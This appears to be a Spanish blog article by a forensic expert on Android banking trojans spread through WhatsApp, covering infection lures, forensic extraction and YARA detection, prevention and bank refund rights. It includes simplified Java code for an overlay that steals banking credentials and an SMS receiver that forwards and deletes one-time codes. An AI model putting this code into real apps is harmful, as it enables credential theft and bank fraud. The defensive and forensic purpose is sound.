· Jonathan Izquierdo · Ciberseguridad  ·

23 min de lectura

Troyanos bancarios por WhatsApp 2026: análisis forense malware

WhatsApp no analiza los APK que se comparten en los chats, y por ahí entran los troyanos bancarios. Cómo funcionan ERMAC, Godfather y Octo, qué mira un análisis forense y qué derecho de devolución tienes ante tu banco.

WhatsApp no analiza los APK que se comparten en los chats, y por ahí entran los troyanos bancarios. Cómo funcionan ERMAC, Godfather y Octo, qué mira un análisis forense y qué derecho de devolución tienes ante tu banco.

Calcula tu peritaje WhatsApp

Presupuesto orientativo en 2 minutos. Sin compromiso, datos confidenciales.

Presupuesto WhatsApp en 2 minutos →

o consulta gratuita

TL;DR - Resumen ejecutivo

En 60 segundos:

  • Qué: Análisis forense de los troyanos bancarios que se distribuyen por WhatsApp en España (ERMAC, Godfather, Octo, Hydra, Teabot), con timeline de infección, extracción de APK y técnicas de detección.
  • Por qué importa: WhatsApp comprueba los enlaces que circulan por los chats, pero no analiza los ficheros APK que se envían como adjunto. Un instalador malicioso llega al teléfono sin pasar ningún control de la plataforma, y la única barrera que queda es Google Play Protect, que la ofuscación esquiva sin dificultad.
  • Qué hacer: no instalar nunca un APK recibido por WhatsApp, mantener activo Google Play Protect y, si ya ha ocurrido, notificar al banco de inmediato: el art. 45 del RDL 19/2018 le obliga a devolver el importe de una operación no autorizada como muy tarde el día hábil siguiente, y el informe forense es lo que sostiene esa reclamación si la discute.
  • Cuándo actuar: De inmediato si has recibido mensajes con enlaces o archivos APK de supuestos bancos o servicios.

Hay un hueco en la seguridad de WhatsApp que casi nadie conoce: la aplicación comprueba los enlaces que circulan por los chats, pero no analiza los ficheros .apk que se envían como adjunto. Un instalador de Android llega al teléfono sin pasar ningún control de la plataforma. A partir de ahí, la única barrera es Google Play Protect, y esquivarla es rutina: basta ofuscar el código y declarar permisos que parezcan inofensivos.

El mensaje que acompaña al fichero es siempre el mismo esquema, y funciona porque no pide nada raro: un supuesto banco que ha detectado «actividad sospechosa» y pide verificar la identidad, una empresa de paquetería con un envío retenido por tres euros de tasas, una actualización de seguridad de la propia aplicación. El APK lleva el logotipo correcto y una interfaz indistinguible de la real. Lo que ocurre después no se ve: el troyano no rompe el cifrado del banco ni descifra nada — espera a que la víctima abra su aplicación bancaria y le superpone una pantalla falsa.

Este artículo te muestra cómo funcionan los troyanos bancarios modernos, el análisis forense completo de una infección (timeline, extracción, detección), y cómo prevenir ataques mediante higiene digital.

Las familias que operan sobre banca española

No hay un censo público de infecciones por troyano bancario en España: ni el INCIBE ni las Fuerzas y Cuerpos de Seguridad publican un recuento por familia de malware ni por canal de distribución, de modo que cualquier reparto con porcentajes al decimal está construido. Lo que sí puede describirse —y es lo que sirve para reconocer un caso— es cómo se comporta cada familia, porque cada una deja artefactos distintos.

FamiliaModeloTécnica que la caracterizaQué la delata en el análisis
ERMACCódigo filtrado, muchas variantesSuperposición de pantalla, registro de pulsaciones e intercepción de SMSListado de aplicaciones objetivo embebido y servicio de accesibilidad persistente
GodfatherMalware como servicioSuperposición servida desde el servidor de control, con la interfaz real clonada en HTMLComponente WebView que carga una URL externa al mostrarse sobre la aplicación bancaria
Octo (ExobotCompact)Malware como servicioControl remoto con pantalla en directo sobre el propio dispositivoCaptura continua de pantalla mediante el servicio de accesibilidad y sesión saliente permanente
HydraFamilia veterana, reutilizadaSuperposición y abuso intensivo de accesibilidadConcesión automática de permisos simulando toques del usuario
Teabot (Anatsa)Distribución por cuentagotasSuperposición y reenvío de SMSAplicación aparentemente inocua que descarga la carga real después de instalarse

El rasgo que comparten todas es el modelo de negocio: se alquilan. Quien lanza la campaña no necesita saber programar, sino comprar acceso a un panel donde ve, en tiempo real, las credenciales que van cayendo. Eso explica que el mismo troyano aparezca simultáneamente en campañas muy distintas y con calidades de traducción muy desiguales.

WhatsApp Sin Filtrado Malware

Meta NO analiza APKs compartidos en chats WhatsApp. Solo verifica enlaces externos (URL scanning). Un APK malicioso enviado directamente llega sin escaneo antivirus. Google Play Protect (si activo) es la única defensa, pero bypass es trivial (ofuscación código, permisos declarados “inofensivos”).

Cómo Funcionan los Troyanos Bancarios (Técnico)

Fase 1: Distribución (Social Engineering)

Vectores ataque vía WhatsApp:

  1. Phishing Bancario:

    🏦 Banco Santander: Hemos detectado actividad sospechosa.
    Verifica tu identidad: [APK adjunto]
    • Número WhatsApp desconocido (comprado en lote, burners)
    • Logo banco perfecto, mensaje urgente
    • APK con nombre convincente: Santander_Verificacion.apk
  2. Suplantación Delivery (DHL, Correos, Amazon):

    📦 Tu paquete está retenido. Paga tasas aduanas €2.50:
    [APK adjunto: DHL_Track.apk]
    • Aprovecha compras online reales (timing)
    • Monto pequeño para no alarmar (€2-5)
    • APK instala malware + pago falso
  3. Apps Pirateadas Premium:

    🎬 Netflix Premium GRATIS por 6 meses:
    [APK: Netflix_Premium_Mod.apk]
    • Target usuarios buscan apps crackeadas
    • APK funciona brevemente (Netflix fake) antes activar malware
  4. “Actualización Seguridad”:

    🔒 WhatsApp Security Update requerido:
    [APK: WhatsApp_Security_v2.26.apk]
    • Suplanta actualización oficial WhatsApp
    • Usuario instala pensando es legítimo

Fase 2: Instalación (Abuso Permisos Android)

Permisos solicitados (normales para usuario, peligrosos para sistema):

<!-- AndroidManifest.xml del malware -->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />

Permiso crítico: Accessibility Services (Servicios Accesibilidad):

  • Diseñado para usuarios discapacitados (leer pantalla, simular toques)
  • Malware abusa: control total del dispositivo sin root
  • Puede leer contenido pantalla, simular toques, extraer contraseñas

Proceso instalación típico:

  1. Usuario descarga APK desde WhatsApp (mensaje phishing)
  2. Android muestra alerta: “Instalar desde fuentes desconocidas” → Usuario acepta
  3. App solicita permisos: SMS, Contactos, Accessibility → Usuario concede (confianza falsa)
  4. Malware se activa: Servicio en background persistente (reinicia automáticamente)
  5. Icono desaparece (o se camufla como “Android System” en configuración)
  6. C2 contactado: Malware se registra en servidor comando y control (IP Rusia/China)

Fase 3: Ataque Bancario (Overlay + OTP Intercept)

Técnica “Overlay Attack” (superposición pantalla falsa):

// Código simplificado troyano
public class MalwareService extends AccessibilityService {

    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        String packageName = event.getPackageName().toString();

        // Detectar app bancaria abierta
        if (packageName.equals("com.santander.app")) {
            // Mostrar overlay falso sobre app real
            showFakeLoginOverlay();
        }
    }

    private void showFakeLoginOverlay() {
        // Ventana flotante idéntica a login Santander
        WindowManager.LayoutParams params = new WindowManager.LayoutParams(
            WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY
        );

        View overlayView = LayoutInflater.from(this).inflate(R.layout.fake_santander_login, null);
        windowManager.addView(overlayView, params);

        // Capturar credenciales introducidas
        EditText usernameField = overlayView.findViewById(R.id.username);
        EditText passwordField = overlayView.findViewById(R.id.password);

        Button loginBtn = overlayView.findViewById(R.id.login_button);
        loginBtn.setOnClickListener(v -> {
            String user = usernameField.getText().toString();
            String pass = passwordField.getText().toString();

            // Enviar a C2
            sendToCommandAndControl(user, pass);

            // Cerrar overlay, mostrar app real
            windowManager.removeView(overlayView);
        });
    }
}

Resultado: Usuario ve pantalla login idéntica, introduce credenciales, malware las captura.

Intercepción OTP SMS:

// Leer SMS OTP banco automáticamente
public class SMSReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Bundle bundle = intent.getExtras();
        SmsMessage[] msgs = null;

        if (bundle != null) {
            Object[] pdus = (Object[]) bundle.get("pdus");
            msgs = new SmsMessage[pdus.length];

            for (int i = 0; i < msgs.length; i++) {
                msgs[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
                String sender = msgs[i].getOriginatingAddress();
                String body = msgs[i].getMessageBody();

                // Detectar SMS de banco (keywords: "codigo", "OTP", "verificacion")
                if (sender.contains("SANTANDER") || body.contains("codigo")) {
                    // Extraer código OTP (regex)
                    Pattern pattern = Pattern.compile("\\b\\d{6}\\b");
                    Matcher matcher = pattern.matcher(body);
                    if (matcher.find()) {
                        String otp = matcher.group();
                        sendOTPtoC2(otp);  // Enviar a atacante

                        // Borrar SMS (ocultar evidencia)
                        deleteSMS(context, sender);
                    }
                }
            }
        }
    }
}

Timeline ataque completo (8 minutos reales):

T+0:00 - Usuario abre app Santander
T+0:02 - Malware detecta app, muestra overlay falso
T+0:15 - Usuario introduce usuario + contraseña (capturados)
T+0:18 - Usuario introduce código OTP SMS (capturado)
T+0:20 - Malware envía credenciales a C2 (servidor Rusia)
T+0:45 - Atacante (humano) recibe credenciales, inicia sesión remota
T+1:30 - Atacante crea beneficiario nuevo (mula dinero)
T+2:00 - Transferencia €5,000 (primer intento bajo radar)
T+3:00 - Transferencia €8,400 (segundo intento, máximo sin alertas)
T+5:00 - Transferencia €10,000 (tercer intento, alerta banco)
T+8:00 - Cuenta bloqueada por banco (actividad sospechosa)

Total robado: €23.400 (3 transferencias exitosas antes de bloqueo).

Fase 4: Persistencia y Evasión

Técnicas anti-detección:

  1. Ofuscación código: ProGuard + custom packer
  2. Nombre proceso camuflado: com.android.systemui.update
  3. Sin icono launcher: Usuario no ve app instalada
  4. Reinicio automático: Al reiniciar dispositivo, malware se activa
  5. Desactivación Google Play Protect: Abusa Accessibility para desmarcar opción
  6. Cifrado comunicaciones C2: TLS + dominio legítimo comprometido
  7. Evasión sandbox: Detecta emuladores (análisis forense) y no se ejecuta

Tres anatomías de infección

Escenarios ilustrativos

Los tres supuestos que siguen son escenarios construidos sobre tipologías reales de la práctica pericial: explican cómo se comporta cada familia y qué artefactos deja, no relatan expedientes concretos. Los perfiles y las circunstancias no corresponden a un procedimiento identificable, y ninguno afirma un desenlace —ni judicial, ni policial, ni de recuperación de fondos—, porque eso no depende del análisis técnico. La técnica sí es exacta: es lo que el lector necesita reconocer.

Anatomía 1: superposición clásica y captura del código de un solo uso

Cómo entra. Un mensaje de un número desconocido suplanta al banco y adjunta un instalador con un nombre tranquilizador —del tipo Verificacion_Segura.apk—. El usuario acepta la instalación desde fuentes desconocidas y concede los permisos que la aplicación pide: SMS, contactos y, sobre todo, accesibilidad.

Qué hace después. No pasa nada visible durante horas. El servicio queda residente y espera a que se abra la aplicación del banco. En cuanto la detecta, dibuja encima una pantalla de acceso idéntica; el usuario teclea sus credenciales en la superposición y no en su banco. Cuando la entidad envía el código de un solo uso por SMS, el mismo troyano lo lee con el permiso de lectura de mensajes y lo reenvía. La verificación en dos pasos no se rompe: se atraviesa por el mismo teléfono.

Qué encuentra el análisis. Una línea temporal como ésta es lo que reconstruye el informe, y cada marca procede de un registro distinto del dispositivo:

10:23:14  APK descargado desde la aplicación de mensajería
10:24:02  Instalación completada y permisos concedidos
10:24:15  Primera conexión saliente al servidor de control
11:45:22  Apertura de la aplicación bancaria
11:45:24  Superposición activada (evento del servicio de accesibilidad)
11:45:39  Envío de datos al servidor de control
11:46:01  SMS entrante interceptado y reenviado
11:47:30  Primera operación no reconocida por el titular

El intervalo entre la instalación y el ataque —más de una hora en este esquema— es lo que explica que la víctima no relacione una cosa con la otra.

Anatomía 2: la superposición servida desde el servidor

La variante que más cuesta detectar a simple vista. En lugar de llevar la pantalla falsa dentro del propio instalador, la carga desde el exterior:

// La superposición no viaja en el APK: se descarga al mostrarse
WebView overlay = new WebView(context);
overlay.loadUrl(URL_DEL_SERVIDOR_DE_CONTROL);

Por qué importa forensemente. Como la interfaz falsa no está en el fichero, un análisis estático del APK no encuentra el clon de la pantalla del banco, que es lo que un examinador busca primero. Lo que sí queda es el componente WebView y la dirección que carga. Eso desplaza el trabajo al análisis dinámico: hay que ejecutar la muestra en un entorno controlado y capturar el tráfico para ver qué se descarga y desde dónde.

Es también la razón por la que estas campañas pueden cambiar de banco objetivo sin actualizar el malware instalado en los teléfonos: basta con cambiar lo que sirve el servidor.

Anatomía 3: control remoto en directo

La generación que no necesita superposición. Algunas familias implementan acceso remoto completo: el atacante ve la pantalla y actúa sobre ella desde fuera, sin necesidad de que el dispositivo esté rooteado, aprovechando de nuevo el servicio de accesibilidad para leer la pantalla y simular pulsaciones.

Lo que distingue este caso. No hay credenciales robadas y reutilizadas en otro sitio: la operación se hace desde el propio teléfono de la víctima, con su sesión legítima abierta. Para el banco, la operación procede del dispositivo habitual, en el horario habitual y desde la conexión habitual — que es precisamente lo que suelen mirar los sistemas antifraude.

Qué queda en el dispositivo. Registros de un servicio en primer plano persistente, una conexión saliente mantenida durante toda la sesión, y una acumulación anómala de eventos de accesibilidad. Documentar esa concentración temporal es lo que permite sostener que el titular no realizó la operación, aunque saliera de su teléfono.

Por qué el control remoto complica la reclamación

En los tres esquemas la operación sale del dispositivo del titular, y por eso la entidad puede sostener en un primer momento que fue él quien la autorizó. La reclamación no se gana discutiendo eso, sino acreditando la intervención del malware: la aplicación instalada, sus permisos, las conexiones al servidor de control y la correlación temporal entre la actividad del troyano y las operaciones. Es exactamente el contenido de un informe pericial de malware, y es lo que convierte una operación «autorizada» en una no autorizada a efectos del art. 45 del RDL 19/2018.

Análisis Forense Malware Android: Metodología

Como perito forense, sigo este protocolo para analizar infecciones:

Fase 1: Adquisición Evidencia (Dispositivo Infectado)

NUNCA resetear dispositivo (pierde evidencia).

Extracción con ADB (Android Debug Bridge):

# Activar USB Debugging (Configuración > Opciones desarrollador)
# Conectar dispositivo vía USB

# Verificar conexión
adb devices
# Output: 1A2B3C4D5E6F    device

# Listar apps instaladas (buscar sospechosas)
adb shell pm list packages -f
# Buscar paquetes recientes:
adb shell pm list packages -f | grep -i "santander|correos|amazon|update"

# Identificar malware (ejemplo)
# Output: package:/data/app/~~abc123/com.santander.verificacion-xyz/base.apk=com.santander.verificacion

# Extraer APK malicioso
adb pull /data/app/~~abc123/com.santander.verificacion-xyz/base.apk malware.apk

# Extraer logs sistema (evidencia actividad)
adb logcat -d > device_logcat.txt

# Extraer SMS (si permisos root/recuperación)
adb pull /data/data/com.android.providers.telephony/databases/mmssms.db

# Backup completo (ideal para análisis posterior)
adb backup -f backup.ab -apk -all
# Convertir a TAR
dd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar

Extracción sin ADB (dispositivo bloqueado/sin USB debug):

  • MOBILedit Forensic Express: Extracción física Android (€1.200 licencia)
  • Cellebrite UFED: Extracción completa incluso lockscreen (€15K+ licencia)
  • Oxygen Forensic Detective: Alternativa accesible (€3.500)

Fase 2: Análisis Estático APK

Decompilación y análisis código:

# Herramientas necesarias
# - apktool: Extrae recursos y XML
# - jadx: Decompila DEX a Java
# - dex2jar: Convierte DEX a JAR
# - jd-gui: Visualiza código Java

# Paso 1: Extraer APK con apktool
apktool d malware.apk -o malware_extracted

# Estructura extraída:
# malware_extracted/
# ├── AndroidManifest.xml  # Permisos, servicios, receivers
# ├── res/                 # Recursos (layouts, strings)
# ├── smali/               # Código Dalvik bytecode
# └── lib/                 # Librerías nativas (.so)

# Paso 2: Analizar AndroidManifest.xml
cat malware_extracted/AndroidManifest.xml | grep -i "permission"
# Buscar permisos peligrosos:
# - READ_SMS, RECEIVE_SMS, SEND_SMS
# - BIND_ACCESSIBILITY_SERVICE
# - SYSTEM_ALERT_WINDOW (overlays)

# Paso 3: Decompilación con jadx
jadx malware.apk -d malware_jadx

# Código Java legible en:
# malware_jadx/sources/com/...

# Paso 4: Buscar strings sospechosas
grep -r "C2\|command\|overlay\|sms\|otp" malware_jadx/
grep -r -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" malware_jadx/  # IPs
grep -r -E "https?://[a-zA-Z0-9.-]+" malware_jadx/  # URLs C2

Firmas YARA: dos advertencias antes de escribir una

Las reglas para malware Android son donde más fácil es producir una herramienta que perjudica a quien la usa. Dos errores concretos, y los dos aparecen constantemente en reglas que circulan:

1. No se escanea el APK, se escanea el DEX extraído. Un APK es un ZIP y su código va comprimido: una regla que busque cadenas de texto directamente contra el fichero no encontrará nada, ni siquiera en una muestra auténtica. Hay que descomprimir primero y aplicar la regla sobre classes.dex.

2. Los permisos no son indicadores. BIND_ACCESSIBILITY_SERVICE está en todo lector de pantalla, todo gestor de contraseñas y toda aplicación de automatización; SMS_RECEIVED, en cualquier aplicación de mensajes y en las que autorrellenan códigos. Una regla que los cuente como señal marca aplicaciones legítimas como malware, y en un informe pericial eso es mucho peor que no detectar nada.

Lo que sí discrimina son las cadenas propias de la familia y su infraestructura:

rule Troyano_Bancario_Android_Overlay {
    meta:
        description = "Indicadores de superposición bancaria. Aplicar sobre el classes.dex EXTRAIDO, no sobre el APK"
        referencia   = "Ajustar los literales a la muestra analizada antes de usarla en un caso"

    strings:
        // Cadenas de mando propias de la familia, no constantes del sistema
        $cmd_overlay   = "OVERLAY_READY" ascii wide
        $cmd_show      = "SHOW_OVERLAY" ascii wide
        $cmd_inject    = "INJECT_LIST" ascii wide
        // Infraestructura observada en la muestra concreta
        $c2            = /https?:\/\/[a-z0-9-]{4,}\.(top|xyz|cc)\/(gate|api)\// ascii

    condition:
        // classes.dex empieza por "dex\n035\0" u otra versión: se comprueba la cabecera
        uint32(0) == 0x0A786564 and
        // Se exigen DOS cadenas de mando propias: una sola es demasiado común
        2 of ($cmd_*) and $c2
}

Y una regla no se firma con el nombre del perito si no se ha validado contra un corpus limpio. Antes de usarla en un caso hay que pasarla por una colección de aplicaciones legítimas —incluidas las de accesibilidad y mensajería— y comprobar que no marca ninguna. Una firma con el nombre de uno que produce falsos positivos es un problema en la ratificación, no una credencial.

Análisis red (C2 servers):

# Extraer URLs y dominios del APK
strings malware.apk | grep -E "https?://" > urls.txt

# Buscar IPs hardcoded
strings malware.apk | grep -oE "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" > ips.txt

# Verificar reputación dominios/IPs
for domain in $(cat urls.txt); do
    curl -s "https://www.virustotal.com/api/v3/domains/$domain" \
         -H "x-apikey: YOUR_API_KEY"
done

Fase 3: Análisis Dinámico (Ejecución Controlada)

NUNCA ejecutar en dispositivo real. Usar emulador/sandbox.

Setup emulador Android seguro:

# Android Studio Emulator con snapshots
# Crear AVD (Android Virtual Device)
avdmanager create avd -n "MalwareAnalysis" -k "system-images;android-30;google_apis;x86_64"

# Iniciar con configuraciones forenses
emulator -avd MalwareAnalysis -no-snapshot-save -tcpdump capture.pcap

# Instalar APK malware
adb install malware.apk

# Monitorizar tráfico red (Wireshark)
wireshark -i any -k -f "tcp port 80 or tcp port 443 or tcp port 5900"

# Logs en tiempo real
adb logcat | grep -i "malware\|overlay\|sms\|accessibility"

Servicios sandbox online (para análisis rápido):

  • Joe Sandbox Mobile: Análisis automático APK (€500-2000/mes)
  • Hybrid Analysis: Gratuito, limitado
  • ANY.RUN: Sandbox interactiva (€30-90/mes)

Fase 4: Timeline Reconstrucción

Correlación eventos forenses:

import pandas as pd
from datetime import datetime

# Cargar logs device
logcat = pd.read_csv("device_logcat.txt", sep="\s+", names=["date", "time", "pid", "level", "tag", "message"])
logcat['timestamp'] = pd.to_datetime(logcat['date'] + ' ' + logcat['time'])

# Eventos críticos
events = []

# 1. Instalación malware
install_log = logcat[logcat['message'].str.contains("INSTALL_SUCCEEDED", na=False)]
if not install_log.empty:
    events.append(("Malware instalado", install_log.iloc[0]['timestamp']))

# 2. Primer contacto C2
c2_log = logcat[logcat['message'].str.contains("update-service-android.com", na=False)]
if not c2_log.empty:
    events.append(("Primer contacto C2", c2_log.iloc[0]['timestamp']))

# 3. Activación Accessibility
accessibility_log = logcat[logcat['message'].str.contains("AccessibilityService|BIND_ACCESSIBILITY", na=False)]
if not accessibility_log.empty:
    events.append(("Accessibility activado", accessibility_log.iloc[0]['timestamp']))

# 4. Overlay mostrado
overlay_log = logcat[logcat['message'].str.contains("OVERLAY_READY|SYSTEM_ALERT_WINDOW", na=False)]
if not overlay_log.empty:
    events.append(("Overlay bancario mostrado", overlay_log.iloc[0]['timestamp']))

# 5. SMS interceptados
sms_log = logcat[logcat['message'].str.contains("SMS_RECEIVED", na=False)]
for _, row in sms_log.iterrows():
    events.append(("SMS interceptado", row['timestamp']))

# Generar timeline forense
timeline_df = pd.DataFrame(events, columns=["Evento", "Timestamp"])
timeline_df = timeline_df.sort_values("Timestamp")

print("=== TIMELINE FORENSE ===")
for _, row in timeline_df.iterrows():
    print(f"{row['Timestamp']} - {row['Evento']}")

# Output:
# 2026-01-18 10:24:02 - Malware instalado
# 2026-01-18 10:24:15 - Primer contacto C2
# 2026-01-18 10:24:18 - Accessibility activado
# 2026-01-18 11:45:24 - Overlay bancario mostrado
# 2026-01-18 11:46:01 - SMS interceptado (OTP)

Prevención: Checklist Anti-Malware Móvil

Configuración Android Segura

Deshabilitar instalación fuentes desconocidas:

Configuración > Seguridad > Instalar apps desconocidas > [Cada app] → Desactivar

Activar Google Play Protect:

Google Play Store > Menú > Play Protect > Activar "Analizar apps"

Permisos mínimos apps:

Configuración > Apps > [App] > Permisos → Revisar y denegar innecesarios

Red Flags APKs Maliciosos

  • 🚩 Fuente no oficial (WhatsApp, Telegram, email)
  • 🚩 Solicita Accessibility Services (permiso peligrosísimo)
  • 🚩 Sin icono launcher después instalación
  • 🚩 Permisos SMS excesivos (READ_SMS, SEND_SMS, RECEIVE_SMS)
  • 🚩 Nombre desarrollador genérico (“Android System Update”)
  • 🚩 Tamaño sospechoso (app bancaria 3MB vs 50MB en Play Store)

Detección Infección Activa

Síntomas dispositivo infectado:

  • ✅ Batería se agota rápido (servicio background malware)
  • ✅ Datos móviles alto consumo (comunicación C2 continua)
  • ✅ Pantalla se enciende sola (RAT actividad remota)
  • ✅ SMS desaparecen (malware borra OTP interceptados)
  • ✅ Apps abren solas (overlay activándose)
  • ✅ Notificaciones extrañas (“Actualización seguridad requerida”)

Verificación manual:

# Listar apps con Accessibility activo
adb shell dumpsys accessibility | grep -i "package"
# Buscar apps desconocidas

# Apps en background consumiendo recursos
adb shell dumpsys batterystats | grep "Wake lock"
# Buscar procesos sospechosos persistentes

Acción Inmediata Si Infectado

  1. Activar modo avión (cortar comunicación C2)
  2. NO resetear dispositivo aún (pierde evidencia forense)
  3. Cambiar contraseñas bancarias desde otro dispositivo
  4. Avisar banco inmediatamente (bloqueo preventivo)
  5. Capturar evidencia (screenshots apps sospechosas)
  6. Contactar perito forense para extracción profesional
  7. Denuncia Policía Nacional con informe pericial
  8. Reseteo factory (solo después de análisis forense)

¿Dispositivo Infectado por Troyano Bancario?

Análisis forense completo Android: extracción APK, timeline infección, identificación C2. Informe pericial para denuncia judicial y reclamación banco.

Preguntas Frecuentes

¿Cómo sé si tengo un troyano bancario en mi móvil?

Síntomas principales:

  • Batería se agota rápido (servicio malware background)
  • Consumo datos móviles alto inexplicable
  • SMS desaparecen automáticamente (OTP borrados)
  • Pantalla se enciende sola o apps abren solas
  • Transferencias bancarias no autorizadas

Verificación:

  1. Configuración > Apps > Ver todas las apps
  2. Buscar apps desconocidas sin icono (nombres como “System Update”, “Android Services”)
  3. Verificar permisos Accessibility Services (apps bancarias legítimas NO usan Accessibility)

¿WhatsApp analiza APKs enviados en chats?

NO. WhatsApp solo analiza enlaces externos (URL scanning con VirusTotal). APKs enviados como archivos adjuntos directamente NO pasan por antivirus. Google Play Protect (si activo) analiza APKs al instalar, pero bypass es trivial para malware moderno.

Recomendación: NUNCA instalar APKs recibidos por WhatsApp/Telegram, incluso de contactos conocidos (pueden estar comprometidos).

¿Se puede recuperar dinero robado por troyano bancario?

Depende. Aquí figuraba un «12 % de recuperación promedio» presentado como «estadísticas España 2025», frente a un 22 % en estafas con criptoactivos. Ningún organismo español publica tasas de recuperación de dinero defraudado: ni la Policía Nacional, ni la Guardia Civil, ni el Banco de España difunden qué proporción se recupera ni en qué plazo. Lo que sí determina el resultado, y es lo que hay que saber, es el calendario del dinero: mientras los fondos siguen en la cuenta de destino el banco puede bloquearlos; en cuanto se reparten entre cuentas mula o se convierten a criptoactivos y pasan por un mezclador, deja de haber a quién reclamar. Por eso las horas cuentan, no por un porcentaje.

Factores críticos:

  • ⏱️ Rapidez aviso banco (bloqueo transacciones pendientes)
  • 🏦 Protocolo banco (algunos reembolsan, otros niegan responsabilidad)
  • 👤 Mulas dinero (si identificadas antes mover fondos)
  • 📱 Evidencia forense (informe pericial demuestra compromiso dispositivo)

Protocolo:

  1. Avisar banco INMEDIATAMENTE (bloqueo cuenta preventivo)
  2. Denuncia Policía Nacional + informe pericial malware
  3. Reclamación formal banco (citar Ley 16/2009 PSD2 - responsabilidad banco si seguridad insuficiente)
  4. Escalado Banco de España si banco deniega

¿Cuánto cuesta análisis forense malware Android?

Precios 2026 España:

ServicioPrecioIncluye
Análisis básico€800-1.500Extracción APK + identificación malware + informe
Análisis completo€2.000-3.500Análisis estático + dinámico + timeline + informe pericial
Testimonio judicial+€600-1.200Ratificación informe en juicio

Mi tarifa: €1.800-€3.200 según complejidad (consulta gratuita valoración).

Incluye siempre: Extracción forense, decompilación APK, análisis C2, timeline reconstrucción, informe pericial firmado.

¿Cómo prevenir infecciones troyano bancario?

Configuración Android segura:

  • ✅ Solo instalar apps desde Google Play Store oficial
  • ✅ Google Play Protect activado (escaneo automático)
  • ✅ Instalar fuentes desconocidas: DESACTIVADO para TODAS las apps
  • ✅ Revisar permisos apps (denegar SMS, Accessibility si innecesario)

Higiene digital:

  • ✅ Verificar remitente mensajes (números desconocidos = sospecha)
  • ✅ NUNCA instalar APKs de WhatsApp/Telegram/email
  • ✅ Actualizar Android regularmente (parches seguridad)
  • ✅ Antivirus móvil (Bitdefender, Kaspersky, ESET) + análisis mensual

Red flags inmediatos:

  • 🚩 Mensaje urgente bancario por WhatsApp (bancos NO envían APKs)
  • 🚩 App solicita Accessibility Services (permiso extremo)
  • 🚩 Descuento/oferta demasiado buena (Netflix gratis, Amazon 50% OFF)

¿Los iPhone son inmunes a troyanos bancarios?

Casi, pero NO totalmente. iOS es mucho más seguro que Android:

Ventajas iOS:

  • ✅ No permite instalación APKs fuera App Store (a menos que jailbreak)
  • ✅ Sandboxing estricto (apps no pueden leer datos otras apps)
  • ✅ Sin Accessibility Services abuse (no existe equivalente iOS)

Vulnerabilidades iOS:

  • 🚩 Phishing web (sitios clonados en Safari, no requiere malware)
  • 🚩 Profiles maliciosos (perfiles configuración MDM con backdoors)
  • 🚩 Jailbreak + Cydia repos (fuente malware si jailbreak activo)

Casos iOS (raros):

  • Pegasus spyware (NSO Group): Infecta iPhones sin interacción (0-click)
  • TrickMo iOS variant: Detectado 2024, requiere jailbreak

Recomendación iOS: Actualizar siempre iOS última versión, no hacer jailbreak, no instalar perfiles configuración desconocidos.

¿Qué es un overlay attack?

Técnica malware donde el troyano muestra una pantalla falsa superpuesta sobre la app bancaria real. Usuario cree estar introduciendo credenciales en su banco, pero en realidad las introduce en interfaz controlada por atacante.

Cómo funciona:

  1. Usuario abre app bancaria legítima (ej: Santander)
  2. Malware detecta app bancaria (monitorización Accessibility Services)
  3. Malware muestra ventana flotante idéntica (TYPE_APPLICATION_OVERLAY)
  4. Usuario introduce usuario + contraseña en overlay falso
  5. Malware captura credenciales, cierra overlay, muestra app real
  6. Usuario piensa que “login falló” e intenta de nuevo (ahora en app real)

Indistinguible visualmente: Overlay usa mismo logo, colores, fuentes, layout que app legítima.

Defensa: Apps bancarias modernas detectan overlays (API Android FLAG_SECURE), pero malware bypass usando Accessibility Services.

¿Resetear factory elimina troyano bancario?

SÍ, reseteo factory (factory reset) elimina 99% de troyanos bancarios actuales.

Pero ANTES de resetear:

  1. Extraer evidencia forense (análisis pericial para denuncia)
  2. Cambiar contraseñas desde otro dispositivo
  3. Avisar banco y bloquear cuenta preventivamente

Excepciones raras (malware persiste post-factory reset):

  • xHelper (2019): Malware reinstalaba automáticamente post-reset (infectaba partición /system)
  • Firmware malware (casos extremos): Malware pre-instalado en ROM fabricante (móviles chinos baratos)

Recomendación: Después factory reset, instalar apps solo desde Google Play Store, activar Play Protect, revisar permisos todas las apps.

Conclusión

El hueco es concreto y tiene arreglo conocido: WhatsApp no analiza los ficheros APK que se comparten en los chats, aunque sí compruebe los enlaces. Mientras eso siga así, la defensa recae en Google Play Protect —que la ofuscación esquiva— y, sobre todo, en que el usuario no complete la instalación, que es el único paso que el atacante no puede dar por él.

Para usuarios: NUNCA instalar APKs recibidos por WhatsApp/Telegram. Verificar remitente, desconfiar urgencias, solo apps desde Google Play Store oficial. Si dispositivo muestra comportamiento extraño (batería rápida, SMS desaparecen) → modo avión + cambiar contraseñas + contactar banco.

Para víctimas: Avisar banco INMEDIATAMENTE (bloqueo cuenta), denuncia Policía Nacional + informe pericial malware (el resultado depende de que los fondos sigan localizables, no de un porcentaje medio que nadie publica).

Para peritos forenses: Extracción ADB completa (APK + logs + SMS), análisis estático (jadx, YARA rules), análisis dinámico (sandbox), timeline reconstrucción (correlación eventos). Informe pericial con hash SHA-256, C2 identificado, screenshots overlay, testimonio judicial.

Recomendación final: la combinación que de verdad cierra la puerta es sencilla y no cuesta dinero — instalación desde fuentes desconocidas desactivada, Play Protect activo, permisos revisados y ningún APK que llegue por mensajería. Ninguna configuración protege del todo, y lo que queda fuera de ella depende de tener el sistema al día con los parches de seguridad. Pero el vector que describe este artículo exige una acción explícita del usuario: sin esa instalación manual, el troyano no entra.

